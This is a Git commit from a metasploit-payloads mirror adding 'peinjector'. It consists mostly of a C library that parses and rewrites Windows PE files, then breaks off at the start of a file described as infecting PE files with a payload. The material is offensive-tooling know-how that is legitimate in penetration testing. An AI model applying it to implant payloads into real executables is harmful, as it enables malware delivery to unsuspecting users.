1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

add peinjector

This commit is contained in:
alpiste 2017-09-19 17:04:46 -07:00 committed by bwatters
parent 9ea9bef51a
commit cf807f5004
15 changed files with 3698 additions and 2 deletions

View File

@ -0,0 +1,211 @@
/**
* \file headers.h
* \brief PE COFF constants and structures
*/
#ifndef DEF_HEADERS_H_
#define DEF_HEADERS_H_
#include <inttypes.h>
#include <stdlib.h>
#define NT_FILE_ALIGNMENT 0x200
#define NT_SECTION_ALIGNMENT 0x1000
#define NT_SHORT_NAME_LEN 8
#define MZ_MAGIC 0x5A4D
#define NT_MAGIC 0x00004550
#define NT_OPTIONAL_32_MAGIC 0x10B
#define NT_OPTIONAL_64_MAGIC 0x20B
#define NT_OPTIONAL_MAXSECTIONS 0x10
#define DIR_EXPORT 0
#define DIR_IMPORT 1
#define DIR_RESOURCE 2
#define DIR_EXCEPTION 3
#define DIR_SECURITY 4
#define DIR_BASERELOC 5
#define DIR_DEBUG 6
#define DIR_ARCHITECTURE 7
#define DIR_GLOBALPTR 8
#define DIR_TLS 9
#define DIR_LOAD_CONFIG 10
#define DIR_BOUND_IMPORT 11
#define DIR_IAT 12
#define DIR_DELAY_IMPORT 13
#define DIR_COM_DESCRIPTOR 14
#define IMAGE_FILE_DLL 0x2000
#define IMAGE_SCN_TYPE_NO_PAD 0x00000008
#define IMAGE_SCN_CNT_CODE 0x00000020
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080
#define IMAGE_SCN_LNK_OTHER 0x00000100
#define IMAGE_SCN_LNK_INFO 0x00000200
#define IMAGE_SCN_LNK_REMOVE 0x00000800
#define IMAGE_SCN_LNK_COMDAT 0x00001000
#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x00004000
#define IMAGE_SCN_GPREL 0x00008000
#define IMAGE_SCN_MEM_FARDATA 0x00008000
#define IMAGE_SCN_MEM_PURGEABLE 0x00020000
#define IMAGE_SCN_MEM_16BIT 0x00020000
#define IMAGE_SCN_MEM_LOCKED 0x00040000
#define IMAGE_SCN_MEM_PRELOAD 0x00080000
#define IMAGE_SCN_ALIGN_1BYTES 0x00100000
#define IMAGE_SCN_ALIGN_2BYTES 0x00200000
#define IMAGE_SCN_ALIGN_4BYTES 0x00300000
#define IMAGE_SCN_ALIGN_8BYTES 0x00400000
#define IMAGE_SCN_ALIGN_16BYTES 0x00500000
#define IMAGE_SCN_ALIGN_32BYTES 0x00600000
#define IMAGE_SCN_ALIGN_64BYTES 0x00700000
#define IMAGE_SCN_ALIGN_128BYTES 0x00800000
#define IMAGE_SCN_ALIGN_256BYTES 0x00900000
#define IMAGE_SCN_ALIGN_512BYTES 0x00A00000
#define IMAGE_SCN_ALIGN_1024BYTES 0x00B00000
#define IMAGE_SCN_ALIGN_2048BYTES 0x00C00000
#define IMAGE_SCN_ALIGN_4096BYTES 0x00D00000
#define IMAGE_SCN_ALIGN_8192BYTES 0x00E00000
#define IMAGE_SCN_ALIGN_MASK 0x00F00000
#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000
#define IMAGE_SCN_MEM_SHARED 0x10000000
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
#define IMAGE_SCN_MEM_READ 0x40000000
#define IMAGE_SCN_MEM_WRITE 0x80000000
#define IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 0x0040
#define IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY 0x0080
#define IMAGE_DLL_CHARACTERISTICS_NX_COMPAT 0x0100
#define IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x0200
#define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x0400
#define IMAGE_DLLCHARACTERISTICS_NO_BIND 0x0800
#define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000
#define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000
typedef struct _DOS_HEADER {
uint16_t e_magic;
uint16_t e_cblp;
uint16_t e_cp;
uint16_t e_crlc;
uint16_t e_cparhdr;
uint16_t e_minalloc;
uint16_t e_maxalloc;
uint16_t e_ss;
uint16_t e_sp;
uint16_t e_csum;
uint16_t e_ip;
uint16_t e_cs;
uint16_t e_lfarlc;
uint16_t e_ovno;
uint16_t e_res[4];
uint16_t e_oemid;
uint16_t e_oeminfo;
uint16_t e_res2[10];
uint32_t e_lfanew;
} DOS_HEADER;
typedef struct _PE_HEADER {
uint32_t Signature;
uint16_t Machine;
uint16_t NumberOfSections;
uint32_t TimeDateStamp;
uint32_t PointerToSymbolTable;
uint32_t NumberOfSymbols;
uint16_t SizeOfOptionalHeader;
uint16_t Characteristics;
} PE_HEADER;
typedef struct _DATA_DIRECTORY {
uint32_t VirtualAddress;
uint32_t Size;
} DATA_DIRECTORY;
typedef struct _OPTIONAL_HEADER_32 {
uint16_t Magic;
uint8_t MajorLinkerVersion;
uint8_t MinorLinkerVersion;
uint32_t SizeOfCode;
uint32_t SizeOfInitializedData;
uint32_t SizeOfUninitializedData;
uint32_t AddressOfEntryPoint;
uint32_t BaseOfCode;
uint32_t BaseOfData;
uint32_t ImageBase;
uint32_t SectionAlignment;
uint32_t FileAlignment;
uint16_t MajorOperatingSystemVersion;
uint16_t MinorOperatingSystemVersion;
uint16_t MajorImageVersion;
uint16_t MinorImageVersion;
uint16_t MajorSubsystemVersion;
uint16_t MinorSubsystemVersion;
uint32_t Win32VersionValue;
uint32_t SizeOfImage;
uint32_t SizeOfHeaders;
uint32_t CheckSum;
uint16_t Subsystem;
uint16_t DllCharacteristics;
uint32_t SizeOfStackReserve;
uint32_t SizeOfStackCommit;
uint32_t SizeOfHeapReserve;
uint32_t SizeOfHeapCommit;
uint32_t LoaderFlags;
uint32_t NumberOfRvaAndSizes;
DATA_DIRECTORY DataDirectory[NT_OPTIONAL_MAXSECTIONS];
} OPTIONAL_HEADER_32;
typedef struct _OPTIONAL_HEADER_64 {
uint16_t Magic;
uint8_t MajorLinkerVersion;
uint8_t MinorLinkerVersion;
uint32_t SizeOfCode;
uint32_t SizeOfInitializedData;
uint32_t SizeOfUninitializedData;
uint32_t AddressOfEntryPoint;
uint32_t BaseOfCode;
uint64_t ImageBase;
uint32_t SectionAlignment;
uint32_t FileAlignment;
uint16_t MajorOperatingSystemVersion;
uint16_t MinorOperatingSystemVersion;
uint16_t MajorImageVersion;
uint16_t MinorImageVersion;
uint16_t MajorSubsystemVersion;
uint16_t MinorSubsystemVersion;
uint32_t Win32VersionValue;
uint32_t SizeOfImage;
uint32_t SizeOfHeaders;
uint32_t CheckSum;
uint16_t Subsystem;
uint16_t DllCharacteristics;
uint64_t SizeOfStackReserve;
uint64_t SizeOfStackCommit;
uint64_t SizeOfHeapReserve;
uint64_t SizeOfHeapCommit;
uint32_t LoaderFlags;
uint32_t NumberOfRvaAndSizes;
DATA_DIRECTORY DataDirectory[NT_OPTIONAL_MAXSECTIONS];
} OPTIONAL_HEADER_64;
typedef struct _SECTION_HEADER {
uint8_t Name[NT_SHORT_NAME_LEN];
union {
uint32_t PhysicalAddress;
uint32_t VirtualSize;
} Misc;
uint32_t VirtualAddress;
uint32_t SizeOfRawData;
uint32_t PointerToRawData;
uint32_t PointerToRelocations;
uint32_t PointerToLinenumbers;
uint16_t NumberOfRelocations;
uint16_t NumberOfLinenumbers;
uint32_t Characteristics;
} SECTION_HEADER;
#endif /* DEF_HEADERS_H_ */

View File

@ -0,0 +1,619 @@
/*
* \file libpefile.c
* \brief Manages disassembly and reassembly of the PE COFF File Format
*/
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include "libpefile.h"
/* Min/Max Macros */
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b))
/* Calculate raw size of image an validates positions and sizes. Returns 0 on error */
static size_t __pefile_calculate_raw_size(PEFILE *in, PEFILE_WRITE_OPTIONS *options) {
size_t i = 0;
size_t ii = 0;
size_t additional_end, section_end;
/* Raw size of Headers and padding */
size_t size = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader
+ in->pe_header.NumberOfSections * sizeof(SECTION_HEADER) + in->header_padding.memsize;
/* Calculate header size only */
if (options && options->header_only) {
/* If additional data is forced we need to add this size too. In this case, only 1 additional data
* segment is allowed, and only if it's directly after the raw header (happens when parsing a
* truncated pe file with header_only option) */
if (options->force_additional) {
if (in->additional_count > 1 || ((in->additional_count > 0) && (in->additional_data == NULL))) {
return 0;
} else if (in->additional_count > 0) {
if (size == in->additional_data[0].position) {
size += in->additional_data[0].memsize;
} else {
return 0;
}
}
}
return size;
}
/* Validate & add all Section sizes */
if ((in->pe_header.NumberOfSections > 0) && (in->section_header == NULL)) {
return 0;
}
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
/* Nested sections */
for (ii = 0; ii < in->pe_header.NumberOfSections; ++ii) {
if ((i != ii) && (in->section_header[ii].PointerToRawData <= in->section_header[i].PointerToRawData)
&& ((in->section_header[ii].PointerToRawData + in->section_header[ii].SizeOfRawData)
>= (in->section_header[i].PointerToRawData + in->section_header[i].SizeOfRawData))) {
size -= in->section_header[i].SizeOfRawData;
}
}
size += in->section_header[i].SizeOfRawData;
}
/* Validate & add all additional data */
if ((in->additional_count > 0) && (in->additional_data == NULL)) {
return 0;
}
for (i = 0; i < in->additional_count; ++i) {
size += in->additional_data[i].memsize;
}
/* Validate additional data positions */
for (i = 0; i < in->additional_count; ++i) {
if ((in->additional_data[i].position + in->additional_data[i].memsize) > size) {
return 0;
} else {
/* If additional data starts or ends inside section something is wrong */
additional_end = in->additional_data[i].position + in->additional_data[i].memsize;
for (ii = 0; ii < in->pe_header.NumberOfSections; ++ii) {
section_end = in->section_header[ii].PointerToRawData + in->section_header[ii].SizeOfRawData;
if (((in->additional_data[i].position >= in->section_header[ii].PointerToRawData)
&& in->additional_data[i].position < section_end)
|| ((additional_end > in->section_header[ii].PointerToRawData) && additional_end < section_end)) {
return 0;
}
}
}
}
/* Validate Section positions */
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
if ((in->section_header[i].PointerToRawData + in->section_header[i].SizeOfRawData) > size) {
return 0;
}
}
return size;
}
/* Adds additional data to an pe file structure. Return true on success, false otherwise*/
static bool __pefile_add_additional_data(unsigned char *mem, size_t position, size_t size, PEFILE *out) {
DATA_BLOB_EX *newAdditional = NULL;
out->additional_count++;
newAdditional = realloc(out->additional_data, out->additional_count * sizeof(DATA_BLOB_EX));
/* Couldn't allocate memory */
if (newAdditional == NULL) {
return false;
}
out->additional_data = newAdditional;
out->additional_data[out->additional_count - 1].position = position;
out->additional_data[out->additional_count - 1].memsize = size;
out->additional_data[out->additional_count - 1].mem = malloc(out->additional_data[out->additional_count - 1].memsize);
/* Couldn't allocate memory */
if (out->additional_data[out->additional_count - 1].mem == NULL) {
return false;
}
memcpy(out->additional_data[out->additional_count - 1].mem,
mem + out->additional_data[out->additional_count - 1].position,
out->additional_data[out->additional_count - 1].memsize);
return true;
}
bool pefile_read_mem(unsigned char *mem, size_t memsize, PEFILE_READ_OPTIONS *options, PEFILE *out) {
DOS_HEADER *dHead = NULL;
PE_HEADER *pHead = NULL;
OPTIONAL_HEADER_32 *oHead32 = NULL;
OPTIONAL_HEADER_64 *oHead64 = NULL;
SECTION_HEADER *firstsHead = NULL;
unsigned char *dos_stub = NULL;
size_t dos_stubsize = 0;
size_t header_raw_end = 0;
size_t header_padding_end = 0;
size_t additional_end = 0;
size_t additional_start = 0;
size_t gap_start = 0;
size_t gap_size = 0;
size_t i = 0;
size_t ii = 0;
/* Zero first */
memset(out, 0, sizeof(PEFILE));
/* DOS Header Magic OK & Size OK */
dHead = (DOS_HEADER*) mem;
if ((memsize < sizeof(DOS_HEADER)) || (dHead->e_magic != MZ_MAGIC)) {
return false;
}
/* PE Header Magic OK & Size OK) */
pHead = (PE_HEADER *) (mem + dHead->e_lfanew);
if ((memsize < dHead->e_lfanew + sizeof(PE_HEADER)) || (pHead->Signature != NT_MAGIC)) {
return false;
}
/* Save DOS Stub */
/* Sometimes there is no DOS Stub, the PE Header can be inside the DOS Header */
if (dHead->e_lfanew >= sizeof(DOS_HEADER) && (dHead->e_lfanew - sizeof(DOS_HEADER) > 0)) {
dos_stub = mem + sizeof(DOS_HEADER);
dos_stubsize = dHead->e_lfanew - sizeof(DOS_HEADER);
}
/* Optional Header Magic OK & Size OK */
oHead32 = (OPTIONAL_HEADER_32 *) (mem + dHead->e_lfanew + sizeof(PE_HEADER));
oHead64 = (OPTIONAL_HEADER_64 *) oHead32;
if (pHead->SizeOfOptionalHeader > 0) {
if ((memsize < ((size_t) oHead32 - (size_t) mem) + pHead->SizeOfOptionalHeader)
|| ((oHead32->Magic != NT_OPTIONAL_32_MAGIC) && (oHead64->Magic != NT_OPTIONAL_64_MAGIC))) {
return false;
}
}
/* Section Table. Size Ok? */
if (memsize
< (dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader
+ pHead->NumberOfSections * sizeof(SECTION_HEADER))) {
return false;
} else {
firstsHead = (SECTION_HEADER *) (mem + dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader);
}
/* Find real end of Header padding (Packers doing some shit with that ...) */
/* Raw end and padding end defined in Optional Header*/
header_raw_end = dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader
+ pHead->NumberOfSections * sizeof(SECTION_HEADER);
if (oHead32->Magic == NT_OPTIONAL_32_MAGIC) {
header_padding_end = oHead32->SizeOfHeaders;
} else {
header_padding_end = oHead64->SizeOfHeaders;
}
/* Section starting inside padding */
for (i = 0; i < pHead->NumberOfSections; ++i) {
if ((firstsHead[i].SizeOfRawData > 0) && firstsHead[i].PointerToRawData < header_padding_end) {
/* Section inside Header */
if (firstsHead[i].PointerToRawData < header_raw_end) {
return false;
}
header_padding_end = firstsHead[i].PointerToRawData;
}
}
/* Header Padding in virtual space */
if (header_padding_end > memsize) {
header_padding_end = memsize;
/* But must go till Section 0 */
} else if ((pHead->NumberOfSections > 0) && header_padding_end < firstsHead[0].PointerToRawData) {
header_padding_end = firstsHead[0].PointerToRawData;
}
/* Copy DOS & PE Header*/
memcpy(&out->dos_header, dHead, sizeof(DOS_HEADER));
memcpy(&out->pe_header, pHead, sizeof(PE_HEADER));
/* Copy DOS Stub */
if (dos_stub != NULL) {
out->dos_stub.mem = malloc(dos_stubsize);
out->dos_stub.memsize = dos_stubsize;
memcpy(out->dos_stub.mem, dos_stub, dos_stubsize);
}
/* Copy Optional Header */
if (pHead->SizeOfOptionalHeader > 0) {
if (oHead32->Magic == NT_OPTIONAL_32_MAGIC) {
memcpy(&out->optional_header_32, oHead32, MIN(pHead->SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_32)));
/* Rare: Gap between Optional Header an Section Table */
if (pHead->SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_32)) {
gap_start = dHead->e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_32);
gap_size = pHead->SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_32);
}
} else {
memcpy(&out->optional_header_64, oHead64, MIN(pHead->SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_64)));
/* Rare: Gap between Optional Header an Section Table */
if (pHead->SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_64)) {
gap_start = dHead->e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_64);
gap_size = pHead->SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_64);
}
}
/* Copy gap data if needed */
if (gap_start > 0) {
out->optional_header_gap.memsize = gap_size;
out->optional_header_gap.mem = malloc(gap_size);
/* Couldn't allocate memory */
if (out->optional_header_gap.mem == NULL) {
pefile_free(out);
return false;
}
memcpy(out->optional_header_gap.mem, mem + gap_start, gap_size);
}
}
/* Copy Section Headers & Sections */
if (firstsHead != NULL && pHead->NumberOfSections > 0) {
out->section_header = malloc(pHead->NumberOfSections * sizeof(SECTION_HEADER));
/* Couldn't allocate memory */
if (out->section_header == NULL) {
pefile_free(out);
return false;
}
memcpy(out->section_header, firstsHead, pHead->NumberOfSections * sizeof(SECTION_HEADER));
/* Only if full analysis */
if ((options == NULL) || ((options != NULL) && !options->header_only)) {
/* Copy Sections & Additional Data */
out->section_data = malloc(pHead->NumberOfSections * sizeof(DATA_BLOBC));
for (i = 0; i < pHead->NumberOfSections; ++i) {
if (firstsHead[i].SizeOfRawData) {
out->section_data[i].memsize = firstsHead[i].SizeOfRawData;
out->section_data[i].mem = malloc(out->section_data[i].memsize);
/* Couldn't allocate memory */
if (out->section_data[i].mem == NULL) {
pefile_free(out);
return false;
}
memcpy(out->section_data[i].mem, mem + firstsHead[i].PointerToRawData, out->section_data[i].memsize);
/* Find additional Data between sections */
additional_start = firstsHead[i].PointerToRawData + firstsHead[i].SizeOfRawData;
additional_end = memsize;
for (ii = 0; ii < pHead->NumberOfSections; ++ii) {
if (i == ii) {
continue;
}
if (firstsHead[ii].PointerToRawData == additional_start) {
additional_end = additional_start;
break;
} else if ((firstsHead[ii].PointerToRawData > additional_start)
&& (firstsHead[ii].PointerToRawData < additional_end)) {
additional_end = firstsHead[ii].PointerToRawData;
/* nested sections */
} else if ((firstsHead[ii].PointerToRawData <= firstsHead[i].PointerToRawData)
&& ((firstsHead[ii].PointerToRawData + firstsHead[ii].SizeOfRawData) >= additional_start)) {
additional_end = additional_start;
break;
}
}
/* Additional data found */
if ((additional_start != additional_end)
&& !__pefile_add_additional_data(mem, additional_start, additional_end - additional_start, out)) {
/* Something went wrong, terminate */
pefile_free(out);
return false;
}
}
}
/* Force add data (everything after header, useful for truncated pe files
* which shall be reassembled later */
} else if (options->force_additional && (memsize - header_padding_end > 0)
&& !__pefile_add_additional_data(mem, header_padding_end, memsize - header_padding_end, out)) {
/* Something went wrong, terminate */
pefile_free(out);
return false;
}
} else if ((options != NULL) && !(options->header_only && !options->force_additional)) {
/* No Sections: Everything else is additional */
if ((memsize - header_padding_end) > 0
&& !__pefile_add_additional_data(mem, header_padding_end, memsize - header_padding_end, out)) {
/* Something went wrong, terminate */
pefile_free(out);
return false;
}
}
/* Copy real Header Padding */
out->header_padding.position = header_raw_end; /* Won't be used for building, just a shortcut to real header size */
if (header_padding_end - header_raw_end > 0) {
out->header_padding.memsize = header_padding_end - header_raw_end;
out->header_padding.mem = malloc(out->header_padding.memsize);
memcpy(out->header_padding.mem, mem + header_raw_end, out->header_padding.memsize);
}
return true;
}
void pefile_init(PEFILE *in) {
memset(in, 0, sizeof(PEFILE));
}
bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) {
bool returnVar = false;
unsigned char *file_mem;
/* Open file */
FILE *fh = fopen(file, "rb");
if (fh != NULL) {
/* Get file size and allocate buffer */
fseek(fh, 0L, SEEK_END);
size_t size = ftell(fh);
size_t read_size = 0;
rewind(fh);
file_mem = malloc(size);
if (file_mem != NULL) {
/* Load file into buffer */
read_size = fread(file_mem, size, 1, fh);
fclose(fh);
fh = NULL;
/* Process PE file in memory */
if (read_size == 1) {
returnVar = pefile_read_mem(file_mem, size, options, out);
}
/* free buffer after use */
free(file_mem);
}
/* Close file (if memory allocation has failed) */
if (fh != NULL) {
fclose(fh);
}
}
return returnVar;
}
bool pefile_write_mem(PEFILE *in, PEFILE_WRITE_OPTIONS *options, unsigned char **mem, size_t *memsize) {
size_t position = 0;
size_t i = 0;
uint64_t checksum = 0;
uint64_t top = 0xffffffff + 0x01;
size_t gap_start = 0;
size_t gap_size = 0;
/* Allocate needed memory */
*memsize = __pefile_calculate_raw_size(in, options);
/* Try allocate memory */
if (*memsize > 0) {
*mem = malloc(*memsize);
/* Couldn't allocate memory */
if (mem == NULL) {
return false;
}
} else {
return false;
}
/* Write DOS Header*/
memcpy(*mem, &in->dos_header, sizeof(DOS_HEADER));
/* Write PE Header */
position = in->dos_header.e_lfanew;
memcpy(*mem + position, &in->pe_header, sizeof(PE_HEADER));
/* Write DOS Stub if needed */
if (in->dos_stub.memsize) {
position = sizeof(DOS_HEADER);
memcpy(*mem + position, in->dos_stub.mem, in->dos_stub.memsize);
}
/* Write Optional Header if needed */
if (in->pe_header.SizeOfOptionalHeader > 0) {
position = in->dos_header.e_lfanew + sizeof(PE_HEADER);
if (in->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
memcpy(*mem + position, &in->optional_header_32,
MIN(in->pe_header.SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_32)));
/* Rare: Gap between Optional Header an Section Table */
if (in->pe_header.SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_32)) {
gap_start = in->dos_header.e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_32);
gap_size = in->pe_header.SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_32);
}
} else if (in->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
memcpy(*mem + position, &in->optional_header_64,
MIN(in->pe_header.SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_64)));
/* Rare: Gap between Optional Header an Section Table */
if (in->pe_header.SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_64)) {
gap_start = in->dos_header.e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_64);
gap_size = in->pe_header.SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_64);
}
}
/* Fill gap if there is saved data */
if (gap_start && (in->optional_header_gap.mem != NULL)) {
memcpy(*mem + gap_start, in->optional_header_gap.mem, MIN(gap_size, in->optional_header_gap.memsize));
}
}
/* Writes Section Table if needed */
if (in->pe_header.NumberOfSections > 0) {
position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader;
memcpy(*mem + position, in->section_header, in->pe_header.NumberOfSections * sizeof(SECTION_HEADER));
}
/* Writes Header Padding if needed */
if ((in->header_padding.mem != NULL) && (in->header_padding.position > 0)) {
position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader
+ in->pe_header.NumberOfSections * sizeof(SECTION_HEADER);
memcpy(*mem + position, in->header_padding.mem, in->header_padding.memsize);
}
/* Header Only */
/* Exception: force_additional override */
if (options != NULL && options->header_only && !options->force_additional) {
return true;
}
/* Write additional Data */
if (in->additional_count > 0) {
for (i = 0; i < in->additional_count; ++i) {
if (in->additional_data[i].mem != NULL) {
memcpy(*mem + in->additional_data[i].position, in->additional_data[i].mem, in->additional_data[i].memsize);
}
}
}
/* Header Only */
if (options != NULL && options->header_only) {
return true;
}
/* Write Section Data */
if (in->section_data != NULL) {
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
if (in->section_data[i].mem != NULL) {
memcpy(*mem + in->section_header[i].PointerToRawData, in->section_data[i].mem,
MIN(in->section_data[i].memsize, in->section_header[i].SizeOfRawData));
}
}
}
/* Recalculate checksum if forced & OptionalHeader is large enough*/
if ((options != NULL)
&& (in->pe_header.SizeOfOptionalHeader > offsetof(OPTIONAL_HEADER_32, CheckSum) + sizeof(uint32_t))
&& options->recaluclate_checksum) {
/* Position of CheckSum (32/64 Bit position is equal) */
position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + offsetof(OPTIONAL_HEADER_32, CheckSum);
/* Calculate checksum for Image */
for (i = 0; i < *memsize; i += 4) {
if (i == position) {
continue;
}
checksum = (checksum & 0xffffffff) + *(uint32_t *) (*mem + i) + (checksum >> 32);
if (checksum > top) {
checksum = (checksum & 0xffffffff) + (checksum >> 32);
}
}
checksum = (checksum & 0xffff) + (checksum >> 16);
checksum = (checksum) + (checksum >> 16);
checksum = checksum & 0xffff;
checksum += *memsize;
/* Write checksum*/
*(uint32_t *) (*mem + position) = checksum;
}
return true;
}
bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) {
bool returnVar = false;
unsigned char *mem = NULL;
unsigned char **mem_ref = (unsigned char **) &mem;
size_t memsize = 0;
/* Open file */
FILE *fh = fopen(file, "wb");
if (fh != NULL) {
/* Generate PE File memory */
if (pefile_write_mem(in, options, mem_ref, &memsize)) {
/* Write to file and verify size */
returnVar = (fwrite(mem, memsize, 1, fh) == 1) ? true : false;
/* Free memory */
free(mem);
}
/* Close file */
fclose(fh);
}
return returnVar;
}
void pefile_free(PEFILE *in) {
size_t i = 0;
/* Free DOS stub */
if (in->dos_stub.mem != NULL) {
free(in->dos_stub.mem);
}
/* Free Optional Header Gap */
if (in->optional_header_gap.mem != NULL) {
free(in->optional_header_gap.mem);
}
/* Free Section Header */
if (in->section_header != NULL) {
free(in->section_header);
}
/* Free Header padding */
if (in->header_padding.mem != NULL) {
free(in->header_padding.mem);
}
/* Free Section data */
if (in->section_data != NULL) {
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
if (in->section_data[i].mem != NULL) {
free(in->section_data[i].mem);
}
}
free(in->section_data);
}
/* Free additional data*/
if (in->additional_count && (in->additional_data != NULL)) {
for (i = 0; i < in->additional_count; ++i) {
if (in->additional_data[i].mem != NULL) {
free(in->additional_data[i].mem);
}
}
free(in->additional_data);
}
/* Zero structure */
memset(in, 0, sizeof(PEFILE));
}
uint16_t get_file_architecture(char * target_executable_path) {
PEFILE mype;
pefile_init(&mype);
PEFILE_READ_OPTIONS read_options;
read_options.header_only = true;
if (pefile_read_file(target_executable_path, &read_options, &mype)) {
return mype.pe_header.Machine;
}
}

View File

@ -0,0 +1,129 @@
/**
* \file libpefile.h
* \brief Manages disassembly and reassembly of the PE COFF File Format
*/
#ifndef LIBPEFILE_H_
#define LIBPEFILE_H_
#include <stdbool.h>
#include "headers.h"
/**
* Hold binary data in pefile structure
*/
typedef struct _DATA_BLOB {
unsigned char *mem; //!< Pointer to memory
size_t memsize; //!< Size of memory
} DATA_BLOBC;
/**
* Hold binary data and position in pefile structure
*/
typedef struct _DATA_BLOB_EX {
unsigned char *mem; //!< Pointer to memory
size_t memsize; //!< Size of memory
size_t position; //!< Position of memory
} DATA_BLOB_EX;
/**
* PE File Format
*/
typedef struct _PEFILE {
DOS_HEADER dos_header; //!< DOS Header
PE_HEADER pe_header; //!< PE Header
DATA_BLOBC dos_stub; //!< DOS Stub Program
OPTIONAL_HEADER_32 optional_header_32; //!< Optional Header, 32 Bit
OPTIONAL_HEADER_64 optional_header_64; //!< Optional Header, 64 Bit
DATA_BLOBC optional_header_gap; //!< Gap between Optional Header and Section Headers, rare.
SECTION_HEADER *section_header; //!< Section Headers
DATA_BLOBC *section_data; //!< Section data
DATA_BLOB_EX header_padding; //!< Padding between Headers and Section data
DATA_BLOB_EX *additional_data; //!< Additional binary data inside PE File
size_t additional_count; //!< Additional binary data count
} PEFILE;
/**
* Options for writing PE files
*/
typedef struct _PEFILE_WRITE_OPTIONS {
bool recaluclate_checksum; //!< Recalculate Image Checksum after writing
bool header_only; //!< Writes header only
bool force_additional; //!< Forces writing of additional data (only in combination with header_only)
} PEFILE_WRITE_OPTIONS;
/**
* Options for reading PE files
*/
typedef struct _PEFILE_READ_OPTIONS {
bool header_only; //!< Analyzes header only
bool force_additional; //!< Forces reading of additional data (only in combination with header_only)
} PEFILE_READ_OPTIONS;
/**
* Initializes PEFILE structure
*
*/
void pefile_init(PEFILE *in);
/**
* Parses PE File data from memory
*
* \param mem Input memory
* \param memsize Input memory size
* \param options Options for reading, Ignored if NULL
* \param out Output PEFILE structure
*
* \return true on success, false otherwise
*/
bool pefile_read_mem(unsigned char *mem, size_t memsize, PEFILE_READ_OPTIONS *options, PEFILE *out);
/**
* Parses PE File data from files
*
* \param file Input file
* \param options Options for reading, Ignored if NULL
* \param out Output PEFILE structure
*
* \return true on success, false otherwise
*/
bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out);
/**
* Writes PE File data to memory
*
* \param in Input PEFILE structure
* \param options Options for writing, Ignored if NULL
* \param mem Output memory
* \param memsize Output memory size
*
* \return true on success, false otherwise
*/
bool pefile_write_mem(PEFILE *in, PEFILE_WRITE_OPTIONS *options, unsigned char **mem, size_t *memsize);
/**
* Writes PE File data to files
*
* \param in Input PEFILE structure
* \param options Options for writing, Ignored if NULL
* \param file Output file
*
* \return true on success, false otherwise
*/
bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file);
/**
* Clears PEFILE structure
*
* \param in Input PEFILE structure
*/
void pefile_free(PEFILE *in);
/**
* Get PEFILE architecture
*
* \param file Input file
*/
uint16_t get_file_architecture(char * target_executable_path);
#endif /* LIBPEFILE_H_ */

View File

@ -0,0 +1,819 @@
/*
* \file libpeinfect.c
* \brief Infects a PE File with a given payload
*/
#include <time.h>
#include <stdlib.h>
#include "libpeinfect.h"
#include "libpeinfect_obfuscator.h"
/* Min/Max Macros */
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b))
/* Executable Section */
#define EXECUTABLE_CHARACTERISTICS (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE)
/* Patch Helper structure (INTERNAL USE ONLY) */
typedef struct _PATCH_HELPER {
size_t infected_section; // Infected section
size_t old_rawsize; // Old rawsize of section
size_t old_virtualsize; // Old virtualsize of section
size_t old_rawheadersize; // Old size of raw header
size_t old_headerpaddingsize; // Old size of header padding
